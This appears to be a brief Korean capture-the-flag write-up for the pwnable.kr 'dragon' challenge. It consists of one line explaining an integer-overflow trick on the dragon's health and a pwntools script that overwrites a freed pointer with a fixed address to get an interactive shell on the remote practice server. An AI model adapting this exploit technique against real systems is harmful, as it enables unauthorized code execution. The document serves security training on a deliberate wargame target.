dragon

날먹 그자체. 힐해줘서 음수로 인식되게 하면 된다.

Exploit Code

from pwn import *

#p=process('./dragon')
p=remote('pwnable.kr', 9004)

p.sendlineafter('Knight\n', '1')
p.sendlineafter('Invincible.\n', '1')
p.sendlineafter('Invincible.\n', '1')

p.sendlineafter('Knight\n', '1')
for i in range(4):
    p.sendlineafter('Invincible.\n', '3')
    p.sendlineafter('Invincible.\n', '3')
    p.sendlineafter('Invincible.\n', '2')

p.sendlineafter('As:\n', p32(0x8048dbf))
p.interactive()

Capture the Flag

---